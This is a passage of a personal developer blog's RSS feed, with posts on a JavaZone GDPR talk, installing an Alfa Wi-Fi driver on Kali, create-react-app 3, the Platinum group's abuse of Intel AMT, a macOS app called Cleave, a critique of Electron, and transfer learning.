    style=&quot;padding-bottom: 33.54430379746836%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEDBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAdmQtB//xAAXEAADAQAAAAAAAAAAAAAAAAAAAREQ/9oACAEBAAEFAoyPP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABQQAQAAAAAAAAAAAAAAAAAAABD/2gAIAQEABj8Cf//EABoQAAAHAAAAAAAAAAAAAAAAAAABEFFxkaH/2gAIAQEAAT8hlsE7qf/aAAwDAQACAAMAAAAQ88//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAYEAEAAwEAAAAAAAAAAAAAAAABACFhEf/aAAgBAQABPxA1chVKNYKJ/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Screenshot of the acceptance email&quot;
        title=&quot;Screenshot of the acceptance email&quot;
        src=&quot;/static/bdce0e76768e477c6105c2d309dbc47a/828fb/mail.jpg&quot;
        srcset=&quot;/static/bdce0e76768e477c6105c2d309dbc47a/ff44c/mail.jpg 158w,
/static/bdce0e76768e477c6105c2d309dbc47a/a6688/mail.jpg 315w,
/static/bdce0e76768e477c6105c2d309dbc47a/828fb/mail.jpg 630w,
/static/bdce0e76768e477c6105c2d309dbc47a/0ede0/mail.jpg 945w,
/static/bdce0e76768e477c6105c2d309dbc47a/ec605/mail.jpg 1125w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I will be speaking about something I explored &lt;a href=&quot;blog/2018/09/16/elasticsearch-and-gdpr&quot;&gt;once&lt;/a&gt; or &lt;a href=&quot;https://www.eivindarvesen.com/blog/2018/09/23/lucene-indexes-and-gdpr&quot;&gt;twice&lt;/a&gt; last year: GDPR and append-only storage.&lt;/p&gt;
&lt;p&gt;I&apos;m very much looking forward to experience JavaZone – both as an attendee, and as a speaker.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Getting Alfa AWUS036ACH up and running on Kali]]></title><description><![CDATA[Last night, I finally got my Alfa AWUS036ACH up and rolling on Kali 2019.4 running in Virtualbox. Here's a very short how-to: Plug in your…]]></description><link>https://eivindarvesen.com/blog/2019/12/25/getting-alfa-awus036ach-up-and-running-on-kali</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/12/25/getting-alfa-awus036ach-up-and-running-on-kali</guid><content:encoded>&lt;p&gt;Last night, I finally got my Alfa AWUS036ACH up and rolling on Kali 2019.4 running in Virtualbox.&lt;/p&gt;
&lt;p&gt;Here&apos;s a very short how-to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Plug in your NIC&lt;/li&gt;
&lt;li&gt;Open the settings for your Kali VM
&lt;ul&gt;
&lt;li&gt;Go to &quot;Ports&quot; =&gt; &quot;USB&quot;; Select &quot;USB 3.0&quot;&lt;/li&gt;
&lt;li&gt;Click the Icon with a plus-sign on it, and add the &quot;Realtek 802.11n NIC&quot; filter&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Start your &lt;a href=&quot;https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/#1572305786534-030ce714-cc3b&quot;&gt;Kali VM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Run &lt;code class=&quot;language-text&quot;&gt;git clone -b v5.6.4.2 https://github.com/aircrack-ng/rtl8812au.git&lt;/code&gt; to clone drivers from the aircrack-ng project for the rtl8812au-chipset, and navigate into the folder using &lt;code class=&quot;language-text&quot;&gt;cd rtl8812au&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run &lt;code class=&quot;language-text&quot;&gt;sudo ./dkms-install.sh&lt;/code&gt; to install the driver via &lt;code class=&quot;language-text&quot;&gt;dkms&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That was it.&lt;/p&gt;
&lt;p&gt;For more information, check the &lt;a href=&quot;https://github.com/aircrack-ng/rtl8812au&quot;&gt;README&lt;/a&gt; for the driver.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Create React App 3 is out!]]></title><description><![CDATA[Having developed with React for a while, and having used  to scaffold a few projects, I decided to check out the project's issues a little…]]></description><link>https://eivindarvesen.com/blog/2019/05/07/create-react-app-3-is-out</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/05/07/create-react-app-3-is-out</guid><content:encoded>&lt;p&gt;Having developed with React for a while, and having used &lt;code class=&quot;language-text&quot;&gt;create-react-app&lt;/code&gt; to scaffold a few projects, I decided to check out the project&apos;s issues a little while back.&lt;/p&gt;
&lt;p&gt;Two weeks ago, version 3.0.0 was &lt;a href=&quot;https://github.com/facebook/create-react-app/releases/tag/v3.0.0&quot;&gt;released&lt;/a&gt;, to which I &lt;a href=&quot;https://github.com/facebook/create-react-app/pull/5997&quot;&gt;contributed&lt;/a&gt; support for &lt;a href=&quot;https://reactjs.org/docs/hooks-intro.html&quot;&gt;React Hooks&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I have to say, it feels pretty good to finally contribute something back to the React-ecosystem.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Platinum Chip]]></title><description><![CDATA[A short update to my last post about Intel ME: Microsoft has recently reported that a hacker group known as Platinum has been able to…]]></description><link>https://eivindarvesen.com/blog/2017/06/13/platinum-chip</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/06/13/platinum-chip</guid><content:encoded>&lt;p&gt;A short update to &lt;a href=&quot;/blog/2017/05/25/intel-me&quot;&gt;my last post about &lt;em&gt;Intel ME&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Microsoft has &lt;a href=&quot;https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/&quot;&gt;recently reported&lt;/a&gt; that a hacker group known as Platinum has been able to exploit AMT&apos;s Serial-over-LAN (SOL) feature to transfer malware payloads on local networks.&lt;/p&gt;
&lt;p&gt;According to &lt;a href=&quot;https://www.theregister.co.uk/2017/06/08/vxers_exploit_intels_amt_for_malwareoverlan/&quot;&gt;the Register&lt;/a&gt;, Infected systems can also communicate with other machines over LAN via any physical connection - regardless of the host machine&apos;s networking status, as a consequence of AMT&apos;s remote management features - and could possibly also enable an exploitable subset og AMT on other machines in order to exploit them.&lt;/p&gt;
&lt;p&gt;Microsoft and Intel said that &quot;this isn’t a vulnerability in AMT, but an abuse of its capabilities&quot;, according to &lt;a href=&quot;https://threatpost.com/platinum-apt-first-to-abuse-intel-chip-management-feature/126166/&quot;&gt;Threatpost&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing Cleave]]></title><description><![CDATA[Ever since solving a similar problem on the terminal a few years back, I kept wanting to explicitly change working context, keeping…]]></description><link>https://eivindarvesen.com/blog/2019/07/19/introducing-cleave</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/07/19/introducing-cleave</guid><content:encoded>&lt;p&gt;Ever since solving a &lt;a href=&quot;https://github.com/eivindarvesen/prm&quot;&gt;similar problem on the terminal&lt;/a&gt; a few years back, I kept wanting to explicitly change working context, keeping application states between whatever tasks I was working on.&lt;/p&gt;
&lt;p&gt;So I built an application to solve it for me.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cleave.app&quot;&gt;Cleave&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cleave attempts to solve this by allowing you save and load &quot;context&quot; in macOS, in a manner similar to how IDEs and text editors lets you manipulate &quot;projects&quot; and &quot;workspaces&quot;. These actions are available via a global hotkey that triggers the command palette, or via the menu bar.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 256px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/190f16909919f27231943f4301cf9326/6f3f2/small_icon.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAACLpAAAi6QE3ea5wAAADYUlEQVR42o1USUtbURRO20W70FXbjVajmIBDnAdEN4oKbhwwgtVI4kA0+CwKao1UNIiJWagYd9118gd0W4MuTCruHRBc6cKJQEBjbPKS0/NdfCFKSnrhcO9799zvfuc75x6V6skgomdsL1RJBnzgm8wJYM8f1m/ZTDc3N59PT09/wrDmf0bsPfg8/yeossHzS7aZvb29q9XVVbJYLNGOjg6CDQ0NRZeXl4n3rtnHyvYq/mwisDe3t7futbU1Ki8vj6Snp8vZWdnhwsJCGZabmxvOycmRS0tLIy6Xi+DLZ14/Ao1ndn9/vzk5OUlqtfpPXl5e5MPoKA0PD1NxcTFVVFRQZWUlVVVVicsyMzNDExMTdHd3t/mIqZIAnucRIoOFmA3Nzc2Ra32djEYjDQwMUFFRkQBlMGHV1dUEUJzhYVMSpbB8t7u7e6XT6YjBogaDgWZmZqikpIS0Gg2ZzWZqb28n7MeDskXh4/V6r4ARr6HFZrMhNHmUw+zt7aWCggIqKysToLOzszQyMkL5+fkibAUQ4Ws0Gtlut4OlOQZ4dnb2ZXp6mli/cFtbG7H4wlnHoNB0cHCQRiSJWltbEUGMJWa+REZEfr//awzw6Ojol8HQgwTIDQ0NVF9fLxKBtd1hp7HxcdJ3dpLVahVagjnAYMg+SJycnGzFAPljs6mpiZqbm+WxsTGhV2Njo2AH8SVplCSWAsmRmGkJXwYpRBQ6nQA8Pj7ejgFeXFx8gzPrEQar/v5+GmdWSslw3dFHlsRoMtH77m5CudTW1gq2rLUI2efzfY9PirS4uEharVZGOABRxEdYAMQaIXd1dVFLS4tIFDTNyMiQHQ4HkmKJB8za2dnxPRRwFCAAVrKpgOIfkocqqKmpoampqSjA3W63Dxiq+GLk2bGysiKKFbo9qbdHoJ+YHTLf3dMT2tjYoGAw6FSaRezp7e/vp1xfX3uhD0DxvCA6Qlcyim8A1tXVRfr6+kILCwvEJefhc6kJ3zNvpJ2fn3vRHPhgBI2A37SMTMK4PmUUMmc44nQ6iVva70AgkJaw48zPz4s+eHl5mcJ9b4k19UMCk8kU1ev1BGNWUfzzeDz+QDCwxPWbGgs1WYPlLqLm2yVm/OPg4GD78PBwC2vWS2IftQKkEPmvrp3EL2G3/gvqj7y6lTJ6CgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Cleave logo&quot;
        title=&quot;Cleave  logo&quot;
        src=&quot;/static/190f16909919f27231943f4301cf9326/6f3f2/small_icon.png&quot;
        srcset=&quot;/static/190f16909919f27231943f4301cf9326/c26ae/small_icon.png 158w,
/static/190f16909919f27231943f4301cf9326/6f3f2/small_icon.png 256w&quot;
        sizes=&quot;(max-width: 256px) 100vw, 256px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The open beta will be out this autumn.&lt;/p&gt;
&lt;p&gt;Hopefully, I&apos;ll get around to documenting the journey some time soon...&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A few thoughts about Electron]]></title><description><![CDATA[Some of the modern JavaScript-tools have democratized coding - for better and for worse. This, as much other democratization of technology…]]></description><link>https://eivindarvesen.com/blog/2017/09/26/a-few-thoughts-about-electron</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/09/26/a-few-thoughts-about-electron</guid><content:encoded>&lt;p&gt;Some of the &lt;a href=&quot;https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f&quot;&gt;modern&lt;/a&gt; JavaScript-tools have democratized coding - for better and for worse. This, as much other democratization of technology and media, has enabled those that previously lacked resources (as in time, specialized knowledge and/or currency) with a means of production. On the other hand, this also lowers the bar in a sense - more software is produced in total, but it also enables low-quality and/or inefficient software to be produced.&lt;/p&gt;
&lt;p&gt;People that previously never would have been able to make software/a desktop app can now do this - which is arguably both good and bad.&lt;/p&gt;
&lt;p&gt;As increasingly more software is built using web-technologies - bringing with it the ridiculous state of modern web development, with it&apos;s crazy tooling complexity, enourmous dependency chains and swollen size - the impact is felt everywhere, including on platforms such as desktops and smartphones.&lt;/p&gt;
&lt;h1&gt;This ain&apos;t your daddy&apos;s desktop application&lt;/h1&gt;
&lt;p&gt;Though the use of the term is questionable in this context, the idea of using web technologies to build &quot;native&quot; applications is nothing new - at least when it comes to the GUI specifically. Please note that these are not &lt;em&gt;native&lt;/em&gt; applications in the true sense of the word - a commonly accepted definition is applications which are programmed using platform (e.g. macOS or Windows) APIs, thus being first-class citizens.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.qt.io/&quot;&gt;Qt-toolkit&lt;/a&gt; comes with the WebKit engine embedded, in the form of QtWebKit - which enables developers leveraging Qt to display content in a web view. Google Earth is made using QtWebKit.&lt;/p&gt;
&lt;p&gt;There is also the &lt;a href=&quot;https://bitbucket.org/chromiumembedded/cef&quot;&gt;Chromium Embedded Framework (CEF)&lt;/a&gt;, which allows applications to embed the Chromium runtime directly. Spotify, among others, is built upon CEF.&lt;/p&gt;
&lt;p&gt;Then, during their work on &lt;a href=&quot;https://atom.io/&quot;&gt;Atom&lt;/a&gt; (a text editor written with web technologies, of all things), GitHub produced and released &lt;a href=&quot;https://electron.atom.io/&quot;&gt;Electron&lt;/a&gt; - which brings the entire mess to the desktop. Essentially, Electron consists of a Node (JS) runtime and an embedded Chromium instance, as well as platform integration features like access to the filesystem.&lt;/p&gt;
&lt;h1&gt;So what?&lt;/h1&gt;
&lt;p&gt;Proponents of Electron point out that it allows webdevs to leverage their familiarity with web technology, possibly share code with their web apps, and produce cross-platform applications. Admittedly, this does make (cross-platform) application development less prohibitive with regards to resources (i.e. time, cost, expertise). But this lowering of the bar to entry will in some cases lead to lowered quality software.&lt;/p&gt;
&lt;p&gt;As you might imagine, Electron is known to have a significant impact on battery life/power usage - it embeds a copy of an &lt;em&gt;entire web-browser&lt;/em&gt;, for goodness&apos; sake!&lt;/p&gt;
&lt;p&gt;Web-based UIs do allow cross-platform interface design, but you end up with a free-form UI that doesn&apos;t look or feel native on any platform - even though some proponents claim that beautiful cross-platform UIs is one of Electrons upsides.&lt;/p&gt;
&lt;p&gt;It also provides bad integration with the underlying platform: as applications use a web view for their UI rather than native widgets, they lose accessibility features. What&apos;s particularily worring about this is that when I&apos;ve had the opportunity to ask developers on projects that use web view based GUIs what their appliations&apos; accesibility is like, none of them have known; Users with accesibility-needs are effectively left out.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c28de845c6dd5cc8970b9b27c5f55f51/ec605/3H1Zj9k.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 54.43037974683544%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHOa4OSE//EABsQAAIBBQAAAAAAAAAAAAAAAAECEQMSISIx/9oACAEBAAEFAj1TqlYBSqzaIfB//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAHRAAAQMFAQAAAAAAAAAAAAAAAAECIQMQETFhUf/aAAgBAQAGPwLxO2w6m13TQkEH/8QAGxABAAIDAQEAAAAAAAAAAAAAAQARMUFRIYH/2gAIAQEAAT8h81HlDNxH5DyQ2jgpVhhG5hgCuT//2gAMAwEAAgADAAAAEOA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGhABAAMBAQEAAAAAAAAAAAAAAQARITFBsf/aAAgBAQABPxAl9DwOHfIQ2CLS5j0cwUjsoBU6VDiVY55r9jqrQ1Sf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Jeff Goldblum&quot;
        title=&quot;Jeff Goldblum&quot;
        src=&quot;/static/c28de845c6dd5cc8970b9b27c5f55f51/828fb/3H1Zj9k.jpg&quot;
        srcset=&quot;/static/c28de845c6dd5cc8970b9b27c5f55f51/ff44c/3H1Zj9k.jpg 158w,
/static/c28de845c6dd5cc8970b9b27c5f55f51/a6688/3H1Zj9k.jpg 315w,
/static/c28de845c6dd5cc8970b9b27c5f55f51/828fb/3H1Zj9k.jpg 630w,
/static/c28de845c6dd5cc8970b9b27c5f55f51/0ede0/3H1Zj9k.jpg 945w,
/static/c28de845c6dd5cc8970b9b27c5f55f51/ec605/3H1Zj9k.jpg 1125w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;What we&apos;re left with is essentially less accessible, less efficient, more power-hungry software with worse platform integration - just because some people and organizations can&apos;t be bothered to use the appropriate tools for the job.&lt;/p&gt;
&lt;p&gt;Pointing this out might be met with accusations of elitism - but gatekeepers and/or barriers to entry might actually have useful functions in some cases.&lt;/p&gt;
&lt;p&gt;I&apos;ve often seen people defend using the usual web stack to implement a UI, saying that it allows them to be more efficient, but it&apos;s not unreasonable to suspect that the only reason they claim this is because they already know the web stack.&lt;/p&gt;
&lt;p&gt;I&apos;m all for enabling people to make software - but if it comes at the expense of my (or the planet&apos;s) resources, I&apos;d rather have quality than quantity.&lt;/p&gt;
&lt;h2&gt;This is just ridiculous&lt;/h2&gt;
&lt;p&gt;It&apos;s as if some developers are OK with application efficiency decreasing faster than hardware efficiency is increasing.&lt;/p&gt;
&lt;p&gt;Just the other day, I experienced Safari reloading my Facebook tab as I was trying to read through greetings I had received on my birthday, stating that the tab was using too much too many resources. It&apos;s bad enough to have this happen on a webpage, but I cringe at the thought of this infecting the desktop as well…&lt;/p&gt;
&lt;p&gt;Just a month ago, Atom &lt;a href=&quot;https://www.reddit.com/r/programming/comments/6s3tcu/atom_needs_a_whopping_845_megabytes_to_open_a_6mb/dl9vssq/?sh=5e9fb666&amp;#x26;st=J62OEP6N&quot;&gt;needed 845MB to open a 6MB XML file&lt;/a&gt;; Even worse, some people argue that this &lt;a href=&quot;https://news.ycombinator.com/item?id=15079857&quot;&gt;isn&apos;t a problem&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There&apos;s also the case of Slack, worth $5B, and their &lt;a href=&quot;https://medium.com/@matt.at.ably/wheres-all-my-cpu-and-memory-gone-the-answer-slack-9e5c39207cab&quot;&gt;infamous Electron app&lt;/a&gt;, about which Joseph Gentle wrote a piece called &quot;&lt;a href=&quot;https://josephg.com/blog/electron-is-flash-for-the-desktop/&quot;&gt;Electron is Flash for the desktop&lt;/a&gt;&quot;.&lt;/p&gt;
&lt;p&gt;In fact, off the top of my head, the only Electron app that doesn&apos;t obviously suck is &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;Visual Studio Code&lt;/a&gt; - excluding stuff like &lt;a href=&quot;http://meetfranz.com/&quot;&gt;Franz&lt;/a&gt;, which really only embeds tabs that display websites.&lt;/p&gt;
&lt;p&gt;I think the HN user Veen is onto something when they &lt;a href=&quot;https://news.ycombinator.com/item?id=14088401&quot;&gt;say&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What you call &quot;trade-offs&quot; appears to me to be developers externalizing their costs onto users. There are costs to developing desktop applications and developers don&apos;t want to pay them, so they make users pay for them in wasted hardware dollars, bandwidth, RAM, battery life, and poor integration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Essentially, &lt;a href=&quot;https://news.ycombinator.com/item?id=15070706&quot;&gt;lazy devs are trading developer time for user time and battery time&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 400px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0b53d0296dac23c000c3051c52d82631/066f9/you-should-feel-bad-electron-is-bad-and-you-should-feel-bad.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIDBP/EABYBAQEBAAAAAAAAAAAAAAAAAAIAAf/aAAwDAQACEAMQAAAB4pJQxHL3GecFf//EABsQAAIDAQEBAAAAAAAAAAAAAAECAAMSERMh/9oACAEBAAEFAhpUL2BC2p9ySTUG5EtZU9GhHT//xAAXEQADAQAAAAAAAAAAAAAAAAAAAREQ/9oACAEDAQE/AWoXf//EABYRAAMAAAAAAAAAAAAAAAAAAAAQEf/aAAgBAgEBPwEj/8QAHhAAAgEDBQAAAAAAAAAAAAAAAAERAhIhMXGBkaH/2gAIAQEABj8CtUdCqeuyJVPhOWNJENDUnBk//8QAGhABAAMBAQEAAAAAAAAAAAAAAQARITFBUf/aAAgBAQABPyHFA/YzIt3KojpJ7jsFgVVqFxgaGc8lWxDjjzeTwFDPWaTV+s//2gAMAwEAAgADAAAAELcgQP/EABYRAQEBAAAAAAAAAAAAAAAAAAEAEf/aAAgBAwEBPxAxo2Ji/8QAFxEAAwEAAAAAAAAAAAAAAAAAABARYf/aAAgBAgEBPxC4U//EAB4QAQADAAMAAwEAAAAAAAAAAAEAESExQVFhcYGh/9oACAEBAAE/EK4drAUy27OYWAlgIkd5jMVwC5O08zCAtd/UAQArR8K9isij7VfyNex2Xl43INTVgN+6tMvuL1LWf//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Electron is bad&quot;
        title=&quot;Source: OMG Ubuntu&quot;
        src=&quot;/static/0b53d0296dac23c000c3051c52d82631/066f9/you-should-feel-bad-electron-is-bad-and-you-should-feel-bad.jpg&quot;
        srcset=&quot;/static/0b53d0296dac23c000c3051c52d82631/ff44c/you-should-feel-bad-electron-is-bad-and-you-should-feel-bad.jpg 158w,
/static/0b53d0296dac23c000c3051c52d82631/a6688/you-should-feel-bad-electron-is-bad-and-you-should-feel-bad.jpg 315w,
/static/0b53d0296dac23c000c3051c52d82631/066f9/you-should-feel-bad-electron-is-bad-and-you-should-feel-bad.jpg 400w&quot;
        sizes=&quot;(max-width: 400px) 100vw, 400px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There&apos;s also a slew of other fun stuff, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Helper&quot;-processes&lt;/li&gt;
&lt;li&gt;The often required restarts&lt;/li&gt;
&lt;li&gt;Large download sizes; often large updates (because not many developer make delta updates, for some reason)&lt;/li&gt;
&lt;li&gt;Slow startup&lt;/li&gt;
&lt;li&gt;General slowness/unresponsiveness&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;In conclusion&lt;/h1&gt;
&lt;p&gt;&lt;del&gt;Electron enables lazy people to make garbage&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;In my experience, Electron apps tend to be bloated and not very performant or energy inefficient. This means that developers make a choice regarding users&apos; disk space, user experience and battery life. The extent to which users notice any of this is of course dependent on a combination of their machine (e.g. old/new hardware, laptop/desktop) and the application being run.&lt;/p&gt;
&lt;p&gt;Also, since you don&apos;t use the platform&apos;s native widgets, there&apos;s poor accessibility for users with special needs - not to mention the implications (HCI-wise) of redefining and replacing standard interface elements.&lt;/p&gt;
&lt;p&gt;It&apos;s one of the slowest, least memory efficient, and most inelegant GUI application platforms out there - bundling an entire web browser just to provide portable GUI functionality.&lt;/p&gt;
&lt;p&gt;Electron allows developers to make desktop software in a weird, roundabout way in order to pander to people and organizations that can&apos;t be bothered to learn something other than web technology or to use efficient tech for reasons like laziness and budget/time constraints. It&apos;s easy to use, but it&apos;s not a good solution.&lt;/p&gt;
&lt;p&gt;This state of &quot;modern&quot; desktop application development is, frankly, embarrassing. It reveals incompetency, whether on the level of applying programming knowledge or reasoning.&lt;/p&gt;
&lt;p&gt;In my opinion, all this reeks of poor design, and is arguably (in some cases) downright user-hostile and unethical.&lt;/p&gt;
&lt;p&gt;And to portray software produced in this way as &quot;native&quot; is, frankly, ridiculous.&lt;/p&gt;
&lt;p&gt;That&apos;s not to say there aren&apos;t legitimate use cases for this type of technology, though: The main thing Electron does well is lower the barrier to entry and maybe increase development speed. This makes it suited for quick prototypes, internal applications and educational settings.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://typora.io/&quot;&gt;markdown editor&lt;/a&gt; I use to write my blogposts, for instance, renders the content as inline preview/WYSIWYG. This is one use case where web technologies are uniquely suited for the task.&lt;/p&gt;
&lt;p&gt;But since the technology is so resource-intensive, developers should ask themselves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does this application &lt;em&gt;really need&lt;/em&gt; to be created in Electron?
&lt;ul&gt;
&lt;li&gt;Why?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, we should also consider what the global energy impact and carbon footprint of these inefficient applications is...&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Presentation about Transfer Learning]]></title><description><![CDATA[Last week I did a presenation at an internal conference at Bouvet, where I work, about how transfer learning in some cases could help…]]></description><link>https://eivindarvesen.com/blog/2017/10/23/presentation-about-transfer-learning</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/10/23/presentation-about-transfer-learning</guid><content:encoded>&lt;p&gt;Last week I did a presenation at an internal conference at &lt;a href=&quot;https://www.bouvet.no&quot;&gt;Bouvet&lt;/a&gt;, where I work, about how &lt;a href=&quot;https://en.wikipedia.org/wiki/Transfer_learning&quot;&gt;transfer learning&lt;/a&gt; in some cases could help achieve better performance for machine learning models faster and cheaper, using less data and processing power.&lt;/p&gt;
&lt;p&gt;You can find my slides &lt;a href=&quot;TransferLearning.pdf&quot;&gt;here&lt;/a&gt; (PDF, Norwegian).&lt;/p&gt;
&lt;p&gt;Very simplified, transfer learning is about exploiting the fact that deep neural networks learn generic information in early layers, which is then built upon hierarchically in later layers that learn increasingly more specialized knowledge. This means that one can strip away the most specialized layers, keep the &quot;general knowledge&quot; from earlier layers, and use this to learn new specialized knowledge on previously unseen data - provided that the problem the original model was trained for and the new problem are &lt;em&gt;somewhat&lt;/em&gt; similar.&lt;/p&gt;
